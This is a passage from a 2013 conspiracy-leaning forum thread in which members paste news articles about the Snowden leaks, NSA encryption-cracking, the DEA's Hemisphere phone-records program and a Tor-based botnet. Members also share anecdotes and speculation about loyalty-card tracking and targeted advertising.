The spokesman added: "We have presented a witness statement to the court in Britain which explains why we are trying to secure copies of over 58,000 stolen intelligence documents - to protect public safety and our national security."

A spokeswoman for the New York Times said the paper had no comment.

The British investigation was opened after authorities at London's Heathrow Airport earlier this month used an anti-terrorism law to detain David Miranda, the domestic partner of Glenn Greenwald, a Guardian writer who has met with Snowden and has played a lead role in writing about material the former NSA contractor leaked.

Miranda was held and questioned for nine hours before being allowed to resume his trip from Berlin to Rio de Janeiro, where he and Greenwald live. Greenwald has said that Miranda had carried Snowden related material from him in Brazil to Laura Poitras in Berlin, an American film-maker who has also met with Snowden, and that Miranda was carrying Snowden-related materials which Poitras gave to him back to Greenwald.

In her witness statement submitted to the British court on Friday, Detective Superintendent Caroline Goode, who said she was in charge of Scotland Yard's Snowden-related investigation, said that among materials officials had seized from Miranda while detaining him was an "external hard drive" containing data encrypted by a system called "True Crypt," which Goode said "renders the material extremely difficult to access."

Goode said the hard drive contained around 60 gigabytes of data, "of which only 20 have been accessed to date." She said that she had been advised that the hard drive contains "approximately 58,000 UK documents which are highly classified in nature, to the highest level."

Goode said the process to decode the material was complex and that "so far only 75 documents have been reconstructed since the property was initially received."

Goode also said that its was "likely" that Scotland Yard "is investigating a conspiracy with a global dimension. It is necessary to ascertain if this stolen, classified material has been disseminated to others in order to prevent further disclosure which would prove valuable to terrorists, thereby preventing further offences and protecting public safety."

She also said that "Disclosure of any information contained within those documents would be gravely injurious to UK interests, would directly put lives at risk and would pose a risk to public safety and diminish the ability to counter terrorism."


Related on HuffPost:

Title: Re: they know what you are doing
Post by: sky otter on August 30, 2013, 09:01:04 pm


http://www.washingtonpost.com/world/national-security/us-spy-agencies-mounted-231-offensive-cyber-operations-in-2011-documents-show/2013/08/30/d090a6ae-119e-11e3-b4cb-fd7ce041d814_story.html?wpisrc=al_excl

U.S. spy agencies mounted 231 offensive cyber-operations in 2011, documents show

By Barton Gellman and Ellen Nakashima, Friday, August 30, 9:00 PM E-mail the writers


go to link to see a the 52.6 billion budget breakdown


U.S. intelligence services carried out 231 offensive cyber-operations in 2011, the leading edge of a clandestine campaign that embraces the Internet as a theater of spying, sabotage and war, according to top-secret documents obtained by The Washington Post.

That disclosure, in a classified intelligence budget provided by NSA leaker Edward Snowden, provides new evidence that the Obama administration’s growing ranks of cyberwarriors infiltrate and disrupt foreign computer networks.

Additionally, under an extensive effort code-named GENIE, U.S. computer specialists break into foreign networks so that they can be put under surreptitious U.S. control. Budget documents say the $652 million project has placed “covert implants,” sophisticated malware transmitted from far away, in computers, routers and firewalls on tens of thousands of machines every year, with plans to expand those numbers into the millions.

The documents provided by Snowden and interviews with former U.S. officials describe a campaign of computer intrusions that is far broader and more aggressive than previously understood. The Obama administration treats all such cyber-operations as clandestine and declines to acknowledge them.

The scope and scale of offensive operations represent an evolution in policy, which in the past sought to preserve an international norm against acts of aggression in cyberspace, in part because U.S. economic and military power depend so heavily on computers.



long and in depth article go to link to finish it..many pages

Title: Re: they know what you are doing
Post by: sky otter on August 31, 2013, 05:42:38 am


same old..they can watch us but we don't get to watch them..



http://www.huffingtonpost.com/2013/08/30/white-house-visitor-list_n_3844819.html

White House Visitor List: Court Rules Against Disclosure Of Records

By PETE YOST 08/30/13 04:29 PM ET EDT 

WASHINGTON — A federal appeals court ruled Friday that White House visitor logs for the president and most of his staff are not public information subject to disclosure requirements of the Freedom of Information Act.

The 3-0 decision would keep the visitor records confidential for up to 12 years after President Barack Obama leaves office.

The appeals court ruling dealt a defeat to a private group that asked the Secret Service for all White House visitor logs from Obama's first seven months in office.

"Congress made clear that it did not want documents like the appointment calendars of the president and his close advisers to be subject to disclosure" under the Freedom of Information Act, wrote Merrick Garland, chief judge of the U.S. Court of Appeals for the District of Columbia Circuit.

Judicial Watch, a conservative-oriented watchdog group that sued in an effort to get the records, said it is considering an appeal.

"Decisions like this turn the Freedom of Information Act from a transparency law to a secrecy law," said the group's president, Tom Fitton.

Disclosure battles over White House visitor logs have been a staple of both Democratic and Republican administrations.

In May 2006, the White House and the Secret Service asserted that the visitor records were presidential records, as opposed to agency records belonging to the Secret Service. Under federal law, presidential records can remain confidential for up to 12 years. As an executive branch agency, the Secret Service is subject to the Freedom of Information Act, which requires public release of material unless one of nine exemptions applies.

In Friday's ruling, the chief judge said that construing the term "agency records" to extend to White House visitor logs could substantially affect the president's ability to meet confidentially with foreign leaders, agency officials, or members of the public, which could make FOIA a potentially serious congressional intrusion into the conduct of the president's daily operations.

Garland is an appointee of President Bill Clinton. The other two appeals judges on the case were David Sentelle and Stephen Williams, both appointees of President Ronald Reagan.
Title: Re: they know what you are doing
Post by: sky otter on September 03, 2013, 06:39:27 am

i think they are re inventing the old party line..more people listening thatn you know...


http://www.huffingtonpost.com/2013/09/02/drug-agents-call-records_n_3857194.html

Drug Agents Plumb Vast Database Of Call Records

 
By GENE JOHNSON and EILEEN SULLIVAN 09/02/13 07:10 PM ET EDT 



SEATTLE — For at least six years, federal drug and other agents have had near-immediate access to billions of phone call records dating back decades in a collaboration with AT&T that officials have taken pains to keep secret, newly released documents show.

The program, previously reported by ABC News and The New York Times, is called the Hemisphere Project. It's paid for by the U.S. Drug Enforcement Administration and the Office of National Drug Control Policy, and it allows investigators armed with subpoenas to quickly mine the company's vast database to help track down drug traffickers or other suspects who switch cellphones to avoid detection.

The details of the Hemisphere Project come amid a national debate about the federal government's access to phone records, particularly the bulk collection of phone records for national security purposes. Hemisphere, however, takes a different approach from that of the National Security Agency, which maintains a database of call records handed over by phone companies as authorized by the USA Patriot Act.

"Subpoenaing drug dealers' phone records is a bread-and-butter tactic in the course of criminal investigations," Justice Department spokesman Brian Fallon said in an email. "The records are maintained at all times by the phone company, not the government. This program simply streamlines the process of serving the subpoena to the phone company so law enforcement can quickly keep up with drug dealers when they switch phone numbers to try to avoid detection."

The Associated Press independently obtained a series of slides detailing Hemisphere. They show the database includes not just records of AT&T customers, but of any call that passes through an AT&T switch.

The federal government pays the salaries of four AT&T employees who work in three federal anti-drug offices around the country to expedite subpoena requests, an Obama administration official told the AP on Monday. The official spoke on the condition of anonymity because he or she was not authorized to discuss the program, and said that two of the AT&T employees are based at the High Intensity Drug Trafficking Area office in Atlanta, one at the HIDTA office in Houston, and one at the office in Los Angeles.

The Hemisphere database includes records that date back to 1987, the official said, but typical narcotics investigations focus on records no older than 18 months.

To keep the program secret, investigators who request searches of the database are instructed to "never refer to Hemisphere in any official document," one of the slides noted. Agents are told that when they obtain information through a Hemisphere program subpoena, they should "wall off" the program by filing a duplicative subpoena directly to target's phone company or by simply writing that the information was obtained through an AT&T subpoena.

It wasn't immediately clear what percentage of U.S. calls are routed through AT&T switches and thus have records captured in Hemisphere. One slide says the program includes records "for a tremendous amount of international numbers that place calls through or roam on the AT&T network."

"While we cannot comment on any particular matter, we, like all other companies, must respond to valid subpoenas issued by law enforcement," AT&T spokesman Mark Siegel said in an email.

According to the slides, the program is useful for investigators trying to track down drug traffickers or other criminals who frequently change phones or use multiple phones. If agents become aware of a phone number previously used by a suspect, they can write an administrative subpoena, with no judicial oversight required, for records about that number.

Hemisphere analysts can track the number's call history or other characteristics and compare it to the history and characteristics of phones still in use – thus winnowing down a list of possible current phone numbers for the suspect, along with their location.

"Hemisphere results can be returned via email within an hour of the subpoenaed request and include (call detail records) that are less than one hour old at the time of the search," one slide said.

Marc Rotenberg, executive director of the Electronic Privacy Information Center, said the program raises several privacy concerns, including that if a query returns call records that are similar to, but not, those of the suspect, agents could be reviewing call records of people who haven't done anything wrong.

"One of the points that occurred to me immediately is the very strong suspicion that there's been very little judicial oversight of this program," Rotenberg said. "The obvious question is: Who is determining whether these authorities have been properly used?"

A Washington state peace activist named Drew Hendricks provided the slides to the AP on Monday. He said he obtained them in response to a series of public records requests he filed with West Coast police agencies, initially seeking information about a law enforcement conference that had been held in Spokane.

In the Northwest, the DEA and Department of Homeland Security make most of the Hemisphere requests through administrative subpoenas, one slide noted. Since late last year, AT&T has also accepted requests by court orders from local police agencies in Washington state.

As of June, Hemisphere had processed 679 requests from the Northwest High Intensity Drug Trafficking Area. And since 2007, the Los Angeles Hemisphere program had processed more than 4,400 requests.

In connection with the controversy over the NSA's sweeping up of call records, some lawmakers have suggested that phone companies store the records instead, and allow federal agents or analysts to request specific data when necessary.

"This way each query would require a specific government warrant before the FISA Court, and Americans would have more confidence that their privacy is being protected, while achieving the same national security results," Rep. Adam Schiff, D-Calif., said in a July 31 statement.

___

Sullivan reported from Washington, D.C. Johnson can be reached at https://twitter.com/GeneAPseattle
Title: Re: they know what you are doing
Post by: sky otter on September 05, 2013, 05:04:03 pm


http://www.huffingtonpost.com/2013/09/05/nsa-internet-security_n_3876309.html

NSA Winning Internet Security War, Reports Show

 By JACK GILLUM 09/05/13 07:43 PM ET EDT 

WASHINGTON — The National Security Agency, working with the British government, has secretly been unraveling encryption technology that billions of Internet users rely upon to keep their electronic messages and confidential data safe from prying eyes, according to published reports Thursday based on internal U.S. government documents.

The NSA has bypassed or altogether cracked much of the digital encryption used by businesses and everyday Web users, according to reports in The New York Times, Britain's Guardian newspaper and the nonprofit news website ProPublica. The reports describe how the NSA invested billions of dollars since 2000 to make nearly everyone's secrets available for government consumption.

In doing so, the NSA built powerful supercomputers to break encryption codes and partnered with unnamed technology companies to insert "back doors" into their software, the reports said. Such a practice would give the government access to users' digital information before it was encrypted and sent over the Internet.

"For the past decade, NSA has led an aggressive, multipronged effort to break widely used Internet encryption technologies," according to a 2010 briefing document about the NSA's accomplishments meant for its UK counterpart, Government Communications Headquarters, or GCHQ. Security experts told the news organizations such a code-breaking practice would ultimately undermine Internet security and leave everyday Web users vulnerable to hackers.

The revelations stem from documents leaked by former NSA contractor Edward Snowden, who sought asylum in Russia this summer. His leaks, first published by the Guardian, revealed a massive effort by the U.S. government to collect and analyze all sorts of digital data that Americans send at home and around the world.

Those revelations prompted a renewed debate in the United States about the proper balance between civil liberties and keeping the country safe from terrorists. President Barack Obama said he welcomed the debate and called it "healthy for our democracy" but meanwhile criticized the leaks; the Justice Department charged Snowden under the federal Espionage Act.

Thursday's reports described how some of the NSA's "most intensive efforts" focused on Secure Sockets Layer, a type of encryption widely used on the Web by online retailers and corporate networks to secure their Internet traffic. One document said GCHQ had been trying for years to exploit traffic from popular companies like Google, Yahoo, Microsoft and Facebook.

GCHQ, they said, developed "new access opportunities" into Google's computers by 2012 but said the newly released documents didn't elaborate on how extensive the project was or what kind of data it could access.

Even though the latest document disclosures suggest the NSA is able to compromise many encryption programs, Snowden himself touted using encryption software when he first surfaced with his media revelations in June.

During a Web chat organized by the Guardian on June 17, Snowden told one questioner that "encryption works." Snowden said that "properly implemented strong crypto systems" were reliable, but he then alluded to the NSA's capability to crack tough encryption systems. "Unfortunately, endpoint security is so terrifically weak that NSA can frequently find ways around it," Snowden said.

It was unclear if Snowden drew a distinction between everyday encryption used on the Internet – the kind described in Thursday's reports – versus more-secure encryption algorithms used to store data on hard drives and often requires more processing power to break or decode. Snowden used an encrypted email account from a now-closed private email company, Lavabit, when he sent out invitations to a mid-July meeting at Moscow's Sheremetyevo International Airport.

The operator of Lavabit LLC, Ladar Levison, suspended operations of the encrypted mail service in August, citing a pending "fight in the 4th (U.S.) Circuit Court of Appeals." Levison did not explain the pressures that forced him to shut the firm down but added that "a favorable decision would allow me to resurrect Lavabit as an American company."

The government asked the news organizations not to publish their stories, saying foreign enemies would switch to new forms of communication and make it harder for the NSA to break. The organizations removed some specific details but still published the story, they said, because of the "value of a public debate regarding government actions that weaken the most powerful tools for protecting the privacy of Americans and others."

Such tensions between government officials and journalists, while not new, have become more apparent since Snowden's leaks. Last month, Guardian editor Alan Rusbridger said that British government officials came by his newspaper's London offices to destroy hard drives containing leaked information. "You've had your debate," one UK official told him. "There's no need to write any more."

___

Associated Press writer Stephen Braun contributed to this report.

___

Follow Jack Gillum on Twitter: http://twitter.com/jackgillum
Title: Re: they know what you are doing
Post by: Ellirium113 on September 05, 2013, 05:14:12 pm
Here's a good one...

Court: Federal Law Allows Lying in TSA-Related FOIA Requests


Quote
Jonathan Corbett
TSA Out Of Our Pants
September 4, 2013

Moments ago, the remaining claims in my lawsuit stemming from being illegally detained at FLL airport and then lied to about the existence of CCTV video of the incident, were dismissed.

The questions before the court were as follows:

Can the TSA (or local governments as directed by the TSA) lie in response to a FOIA request?Sure, no problem! Even the NSA responds that they “can’t confirm or deny the existence” of classifiedthings for which admitting or denying existence would (allegedly, of course) damage national security. But the TSA? U.S. District Judge Joan A. Lenard granted the TSA the special privilege of not needing to go that route, rubber-stamping the decision of the TSA and the airport authority to write to me that no CCTV footage of the incident existed when, in fact, it did. This footage is non-classified and its existence is admitted by over a dozen visible camera domes and even signage that the area is being recorded. Beyond that, the TSA regularly releases checkpoint video when it doesn’t show them doing something wrong (for example, here’s CCTV of me beating their body scanners). But if it shows evidence of misconduct? Just go ahead and lie.

Can the TSA hide the names and faces of its public-facing employees (and any local law enforcement coming to their aid) who are accused of misconduct?You bet! Despite the fact that they all wore name tags and I could have legally taken photos of them, Judge Lenard feels that the public servants who illegally searched and detained me deserve “privacy,” and upheld the TSA’s decision to redact their names from every document sent to me and to blur the entirety of every video sent to me. This is the same TSA that cares so much about privacy that they “accidentally” published a copy of my driver’s license in court filings.
 
Can the TSA frustrate court review of whether or not a document is releasable under FOIA simply by “ordering” it secret?Why not?! Judge Lenard ruled that once a document is labeled “Sensitive Security Information” (which the TSA does by merely waiving a magic wand and writing “SSI” on the cover of a document) the U.S. District Court loses its power to review that determination, and the U.S. Court of Appeals is the proper forum. But wait, the Court of Appeals doesn’t evaluate FOIA claims, so now, in order to get a document you want, you must petition 2 courts and pay over $800 in filing fees alone. Yes, clearly this is how Congress intended public records laws — designed to allow transparency in government — to work.

http://www.prisonplanet.com/court-federal-law-allows-lying-in-tsa-related-foia-requests.html (http://www.prisonplanet.com/court-federal-law-allows-lying-in-tsa-related-foia-requests.html)
Title: Re: they know what you are doing
Post by: sky otter on September 06, 2013, 09:23:28 am


ok here’s my little being watched story for today and becoming just another bit in the computer

background
we have a grocery store chain here called giant eagle and they have the usual ‘special’ member card to get their sale prices
and in addition to that  for every 50 bucks in purchases (gift cards to other merchants  are included in this) you get 10 cents
per gallon off on their gas..which is located in the same parking lot as the grocery store (in most cases)
with the fields to mow this works for me..they do have a limit of 30 gallons per redemption

so
they have on record everything you buy cause it obviously goes thur the register computer system
and yes I do know they are keeping track of what I buy and when

the other week I purchased some swanson broth ..
yesterday I got a  dollar coupon..to my name and address...not to occupant
from swanson to buy their broth

I’m pissed that they are making money selling my info ....but not real surprised

and I’m torn in weather it would make any difference at all if I cut their card in half and only paid cash from now on
yeah I know would be cutting off my nose to spite my face sort of thing
the last 30 gallons I bought only cost me 1.26 per.. cause I had bought gift cards for a remodel project
but darn this is just one more way the system gets you

the hook to giving away your info is obvious and  piece by piece any idea of privacy is gone
right now the only non traceable purchase is cash and they are slowly pushing to no cash and all cards

I’m an older age and I can probably live the rest of my life by not complying but soo many aren’t going to have a choice
and i wonder if they even care  :(

goin out to kick the can and think on it
grrrrrrrrrrrrrrrrrrrrrr
Title: Re: they know what you are doing
Post by: robomont on September 06, 2013, 09:39:54 am
six months ago when i was searching lasers through google search.every site that i went to that had adds.guess what the adds were for.and when i got dish last month and i was searching.about it.i got like twenty dish adds in the mail.its very pervasive now.
when im in the market for a new set of boots at walmart.i just say outloud in front of the boots i want.my boot size.the next month that size will be there.now thats convenience.i know it sounds crazy but it works.just try it.my guess security picks up my voice and puts in the order.
Title: Re: they know what you are doing
Post by: sky otter on September 06, 2013, 10:32:40 am

robo..that is funny scary...about the boot request
Title: Re: they know what you are doing
Post by: andolin on September 06, 2013, 11:11:43 am
Yes, all the Web-Commerce sites are now using Google analytics...Every time I purchase something from a Google linked or embedded site, or from Amazon (which I use a lot), I get emails and adverts in my Firefox browser with "Suggested " items for me to purchase..I gave up trying to stop this crap (Used several Firefox add-ons and cache and cookie cleaners), but they seem to find a way around them..The have even showed up on my Facebook page....If I was younger, I would employ more brainpower to stop this shit..but my GAFF is diminishing with age.

Andy
Title: Re: they know what you are doing
Post by: zorgon on September 06, 2013, 11:55:31 am
It is actually silly really. If I just bought something at Amazon... sending me repeated ads for that item is a waste of time. I am not likely to buy another one, certainly not from someone else

Showing me related items would make more sense

But its a tool we can use too :D

I sell stuff on Etsy Amazon and Ebay...  by linking my FB account and allowing them to 'post on my behalf"  they automaticaly post random items for sale for me
Title: Re: they know what you are doing
Post by: sky otter on September 07, 2013, 08:28:35 am



who needs psy-ops when they just track everything you do via electronics and then funnel you into a slot they can manage..eventually everything about you is so well known..you are just a number in a category :(
 


http://www.washingtonpost.com/business/technology/google-encrypts-data-amid-backlash-against-nsa-spying/2013/09/06/9acc3c20-1722-11e3-a2ec-b47e45e6f8ef_story.html?Post+generic=%3Ftid%3Dsm_twitter_washingtonpost

Google encrypts data amid backlash against NSA spying

By Craig Timberg, Published: September 6 E-mail the writers

Google is racing to encrypt the torrents of information that flow among its data centers around the world in a bid to thwart snooping by the NSA and the intelligence agencies of foreign governments, company officials said Friday.

The move by Google is among the most concrete signs yet that recent revelations about the National Security Agency’s sweeping surveillance efforts have provoked significant backlash within an American technology industry that U.S. government officials long courted as a potential partner in spying programs.

Google’s encryption initiative, initially approved last year, was accelerated in June as the tech giant struggled to guard its reputation as a reliable steward of user information amid controversy about the NSA’s PRISM program, first reported in The Washington Post and the Guardian that month. PRISM obtains data from American technology companies, including Google, under various legal authorities.

Encrypting information flowing among data centers will not make it impossible for intelligence agencies to snoop on individual users of Google services, nor will it have any effect on legal requirements that the company comply with court orders or valid national security requests for data. But company officials and independent security experts said that increasingly widespread use of encryption technology makes mass surveillance more difficult — whether conducted by governments or other sophisticated hackers.

“It’s an arms race,” said Eric Grosse, vice president for security engineering at Google, based in Mountain View, Calif. “We see these government agencies as among the most skilled players in this game.”

Experts say that, aside from the U.S. government, sophisticated government hacking efforts emanate from China, Russia, Britain and Israel.

The NSA seeks to defeat encryption through a variety of means, including by obtaining encryption “keys” to decode communications, by using super-computers to break codes, and by influencing encryption standards to make them more vulnerable to outside attack, according to reports Thursday by the New York Times, the Guardian and ProPublica, based on documents provided by former NSA contractor Edward Snowden.

But those reports made clear that encryption — essentially converting data into what appears to be gibberish when intercepted by outsiders — complicates government surveillance efforts, requiring that resources be devoted to decoding or otherwise defeating the systems. Among the most common tactics, experts say, is to hack into individual computers or other devices used by people targeted for surveillance, making what amounts to an end run around coded communications.

Security experts say the time and energy required to defeat encryption forces surveillance efforts to be targeted more narrowly on the highest-priority targets — such as terrorism suspects — and limits the ability of governments to simply cast a net into the huge rivers of data flowing across the Internet.

“If the NSA wants to get into your system, they are going to get in .?.?. . Most of the people in my community are realistic about that,” said Christopher Soghoian, a computer security expert at the American Civil Liberties Union. “This is all about making dragnet surveillance impossible.”

The NSA declined to comment for this article. The Office of the Director of National Intelligence issued a statement Thursday saying: “Throughout history, nations have used encryption to protect their secrets, and today terrorists, cybercriminals, human traffickers and others also use code to hide their activities. Our intelligence community would not be doing its job if we did not try to counter that.”

The U.S. intelligence community has been reeling since news reports based on Snowden’s documents began revealing remarkable new detail about how the government collects, analyzes and disseminates information — including, in some circumstances, the e-mails, video chats and phone communications of American citizens.

Many of the documents portray U.S. companies as pliant “Corporate Partners” or “Providers” of information. While telecommunications companies have generally declined to comment on their relationships with government surveillance, some technology companies have reacted with outrage at the depictions in the NSA documents released by Snowden. They have joined civil liberties groups in demanding more transparency and insisting that information is turned over to the government only when required by law, often in the form of a court order.

In June, Google and Microsoft asked the Foreign Intelligence Surveillance Court to allow them greater latitude in reporting how much information they must turn over to the government. On Friday, Yahoo issued its first “government transparency report,” saying it had received 12,444 requests for data from the U.S. government this year, covering the accounts of 40,322 users.

Google has long been more aggressive than its peers within the U.S. technology industry in deploying encryption technology. It turned on encryption in its popular Gmail service in 2010, and since then has added similar protections for Google searches for most users.

Yet even as it encrypted much of the data flowing between Google and its users, the information traveling between its data centers offered rare points of vulnerability to potential intruders, especially government surveillance agencies, security officials said. User information — including copies of e-mails, search queries, videos and Web browsing history — typically is stored in several data centers that transmit information to each other on high-speed fiber-optic lines.

Several other companies, including Microsoft, Apple and Facebook, increasingly have begun using encryption for some of their services, though the quality varies by company. Communications between services — when an e-mail, for example, is sent from a user of Gmail to a user of Microsoft’s Outlook mail — are not generally encrypted, appearing to surveillance systems as what experts call “clear text.”

Google officials declined to provide details on the cost of its new encryption efforts, the numbers of data centers involved, or the exact technology used. Officials did say that it will be what experts call “end-to-end,” meaning that both the servers in the data centers and the information on the fiber-optic lines connecting them will be encrypted using “very strong” technology. The project is expected to be completed soon, months ahead of the original schedule.

Grosse echoed comments from other Google officials, saying that the company resists government surveillance and has never weakened its encryption systems to make snooping easier — as some companies reportedly have, according to the Snowden documents detailed by the Times and the Guardian on Thursday.

“This is a just a point of personal honor,” Grosse said. “It will not happen here.”

Security experts said news reports detailing the extent of NSA efforts to defeat encryption were startling. It was widely presumed that the agency was working to gain access to protected information, but the efforts were far more extensive than understood and reportedly contributed to the creation of vulnerabilities that other hackers, including foreign governments, could exploit.

Matthew Green, a Johns Hopkins cryptography expert, applauded Google’s move to harden its defenses against government surveillance, but said recent revelations make clear the many weaknesses of commonly used encryption technology, much of which dates back to the 1990s or earlier. He called for renewed efforts among companies and independent researchers to update systems — the hardware, the software and the algorithms.

“The idea that humans can communicate safely is something we should fight for,” Green said.

But he said he wasn’t sure that would happen: “A lot of people in the next week are going to say, this is too hard. Let’s forget about the NSA.”


Haylet Tsukayama contributed to this report.
Title: Re: they know what you are doing
Post by: sky otter on September 07, 2013, 06:50:01 pm
http://www.bbc.co.uk/news/technology-23984814
6 September 2013 Last updated at 05:58 ET Share this pageEmail Print Share this page

Cyber-thieves blamed for leap in Tor dark net use

Cyber-thieves are behind a big leap in the number of computers connecting to the Tor anonymous web browsing system, a security company has said.

The number of connections to Tor almost doubled in late August.

Some thought the rise was caused by people in repressive regimes using Tor to escape official scrutiny.

But Dutch security company Fox-IT said it had evidence it had been caused by cybercriminals using Tor to control legions of hijacked home PCs.

Hidden network
 
The sharp leap in Tor numbers began on 19 August.

Before that date about 500,000 connections a day were being made to the network.

Within a week, the number of connections had hit 1.5 million and has continued to grow.

The latest update from Tor suggests about three million connections are now being made on a daily basis.

Tor (The Onion Router) attempts to hide who is using the web by routing their data through a series of computers each one of which encrypts the data passing through it.

It is widely used by people living in nations that monitor what citizens say online, to avoid official attention.

Many people on the Tor admin mailing list suggested the growth in use had been caused by more people turning to the network as many different governments cracked down on what can be said and done online.

But Fox-IT said it had traced the growing number of connections to a botnet - a network of home computers hijacked by malicious computer programs.

Botnets are the favoured tools of cybercriminals, who use them as a resource to plunder for saleable information or as a way to send spam or launch attacks on other sites.

In a blog post Fox-IT said there was growing evidence a group of criminals who ran the Mevade.A or Sefnit botnet had turned to Tor to control their army of hijacked computers.

The geographic spread of compromised computers on Sefnit was very similar to those recently seen to have joined Tor, it said.

And a closer look at the code being run by some individual PCs on Sefnit showed they had the latest version of Tor installed and regularly checked in with a Tor site for instructions about what to do.

So far, said the blog, it was not entirely clear what the botnet was being used for.

"It does however originate from a Russian-spoken region, and is likely motivated by direct or indirect financial-related crime," wrote Fox-IT analysts.

The rise in Tor connections has caused problems for operators of the browsing network.

In a blog post, Tor said it was looking into ways to stop botnet controllers using the network to co-ordinate criminal activity.

In addition, it added, Tor was not a great way to control millions of infected machines.

"If you have a multi-million node botnet, it's silly to try to hide it behind the 4,000-relay Tor network," said the blog.

"These people should be using their botnet as a peer-to-peer anonymity system for itself."
Title: Re: they know what you are doing
Post by: sky otter on September 07, 2013, 06:51:05 pm


http://www.bbc.co.uk/news/world-us-canada-23981291


leaks: US and UK 'crack online encryption'



September 2013 Last updated at 07:34 ET
US and UK intelligence have reportedly cracked the encryption codes protecting the emails, banking and medical records of hundreds of millions of people.

Disclosures by leaker Edward Snowden allege the US National Security Agency (NSA) and the UK's GCHQ successfully decoded key online security protocols.

They suggest some internet companies provided the agencies backdoor access to their security systems.

The NSA is said to spend $250m (£160m) a year on the top-secret operation

It is codenamed Bullrun, an American civil-war battle, according to the documents published by the Guardian in conjunction with the New York Times and ProPublica.

The British counterpart scheme run by GCHQ is called Edgehill, after the first major engagement of the English civil war, say the documents.

'Behind-the-scenes persuasion'
 
The reports say the UK and US intelligence agencies are focusing on the encryption used in 4G smartphones, email, online shopping and remote business communication networks.

The encryption techniques are used by internet services such as Google, Facebook and Yahoo.

Under Bullrun, it is said that the NSA has built powerful supercomputers to try to crack the technology that scrambles and encrypts personal information when internet users log on to access various services.

The NSA also collaborated with unnamed technology companies to build so-called back doors into their software - something that would give the government access to information before it is encrypted and sent over the internet, it is reported.

As well as supercomputers, methods used include "technical trickery, court orders and behind-the-scenes persuasion to undermine the major tools protecting the privacy of everyday communications", the New York Times reports.



The US reportedly began investing billions of dollars in the operation in 2000 after its initial efforts to install a "back door" in all encryption systems were thwarted.

'Gobsmacked'
 
During the next decade, it is said the NSA employed code-breaking computers and began collaborating with technology companies at home and abroad to build entry points into their products.

The documents provided to the Guardian by Mr Snowden do not specify which companies participated.

The NSA also hacked into computers to capture messages prior to encryption, and used broad influence to introduce weaknesses into encryption standards followed by software developers the world over, the New York Times reports.

When British analysts were first told of the extent of the scheme they were "gobsmacked", according to one memo among more than 50,000 documents shared by the Guardian.

NSA officials continue to defend the agency's actions, claiming it will put the US at considerable risk if messages from terrorists and spies cannot be deciphered.

But some experts argue that such efforts could actually undermine national security, noting that any back doors inserted into encryption programs can be exploited by those outside the government.

It is the latest in a series of intelligence leaks by Mr Snowden, a former NSA contractor, who began providing caches of sensitive government documents to media outlets three months ago.

In June, the 30-year-old fled his home in Hawaii, where he worked at a small NSA installation, to Hong Kong, and subsequently to Russia after making revelations about a secret US data-gathering programme.

A US federal court has since filed espionage charges against Mr Snowden and is seeking his extradition.

Mr Snowden, however, remains in Russia where he has been granted temporary asylum.
Title: Re: they know what you are doing
Post by: sky otter on September 09, 2013, 03:48:03 pm


http://www.huffingtonpost.com/2013/09/09/nsa-steve-jobs_n_3895375.html?utm_hp_ref=technology
iPhone Users Are 'Zombies' And Steve Jobs Was 'Big Brother,' According To The NSA: Report
The Huffington Post  |  By Alexis Kleinman
Posted: 09/09/2013 4:30 pm EDT  |  Updated: 09/09/2013 5:33 pm EDT

In a classic case of the pot calling the kettle black, the NSA reportedly called Apple co-founder Steve Jobs "Big Brother," while also describing iPhone users as "zombies."

In documents leaked by the German news magazine Der Spiegel on Sunday, the National Security Agency suggests that Apple and Steve Jobs are controlling and observing the public.

In fact, the NSA has been spying on Americans' email data and phone data for years. In its story Der Spiegel revealed that the NSA accesses data from all major types of smartphones. The NSA also seems to have access to iPhone geolocation tools and other data, Der Spiegel reports.

Der Spiegel obtained slides from what looks to be an internal NSA presentation. One of the slides obtained by Der Spiegel actually uses images from Apple's "1984" commercial, which played during the 1984 Super Bowl. The whole purpose of that commercial, of course, was to show how Apple would help people avoid an oppressive society, not to start an oppressive society.

"Who knew in 1984... that this would be big brother... and the zombies would be paying customers?" the slides ask. On the slide referring to "Big Brother," there's a photo of Steve Jobs, and on the slide about zombies there's photos of over-excited Apple fans with their new iPhones. You can see the slides below:

http://www.huffingtonpost.com/2013/09/09/nsa-steve-jobs_n_3895375.html?utm_hp_ref=technology
Title: Re: they know what you are doing
Post by: sky otter on September 10, 2013, 06:25:58 pm


http://www.huffingtonpost.com/2013/09/10/nsa-surveillance-documents_n_3902208.html

BUSTED.!!
NSA Surveillance Documents Released By Officials Show Misuse Of Domestic Spying Program


AP  |  Posted: 09/10/2013 4:46 pm EDT  |  Updated: 09/10/2013 5:15 pm EDT
BY PAUL ELIAS, THE ASSOCIATED PRESS

SAN FRANCISCO — Federal officials on Tuesday released previously classified documents showing misuse of a domestic spying program in 2009.

The Obama administration has been facing mounting pressure to reveal more details about the government's domestic surveillance program since a former intelligence contractor released documents showing massive National Security Agency trawling of domestic data.

The information included domestic telephone numbers, calling patterns and the agency's collection of Americans' Internet user names, IP addresses and other metadata swept up in surveillance of foreign terror suspects.

The documents released Tuesday relate to a time in 2009 when U.S. spies went too far in collecting domestic phone data and then mislead a secret spy court about their activities.

The documents came in response to a lawsuit filed by the Electronic Frontier Foundation.

A federal judge in 2011 said in a declassified order that he was troubled by at least three incidents over three years where government officials admitted to mistaken collection of domestic data.
Title: Re: they know what you are doing
Post by: robomont on September 10, 2013, 09:33:27 pm
sky you have done a great job of maintaining this thread.thumbs up.
i just want to say about that behind the scene persuasion.ive had dish network for three months it also comes with wifi.my sleep has more steady and regular since i got it.almost like it is controlling my sleep habits.its still in the theory stage but im putting it out there for us to consider.
Title: Re: they know what you are doing
Post by: burntheships on September 10, 2013, 09:46:27 pm
@ Sky, really good work documenting the play out,
as Robo said, good job lady!

And @ Robo, I unplug my Wi Fi at night....
and I sniff Lavender!

 ;D
Title: Re: they know what you are doing
Post by: robomont on September 10, 2013, 09:59:13 pm
oh im not complaining.but im usually up at three in the morn but here lately ive been on a 1-8am sleep cycle.it may be a seasonal thing but just wanted see if others habits changed because of wifi.

who knows the nsa may be hacking voting machines.they could be manipulating intelligence the other agencies get.the skies the limit.they could mwnipulating the flow of money.controling well production so that fuel prices fluctuate at there bidding.on a world wide scale.
i dont know if you know about this sight.its kinda creepy.
Title: Re: they know what you are doing
Post by: robomont on September 10, 2013, 10:01:50 pm
 http://cryptome.org/  (http://cryptome.org/)
Title: Re: they know what you are doing
Post by: burntheships on September 10, 2013, 10:06:19 pm
http://cryptome.org/  (http://cryptome.org/)

IMO, great site. I do not recall ever a frivolous write up
from them. They do have some serious heavy duty stuff,
if I recall correctly the man who runs Cryptome had
interaction at one time with Assange.

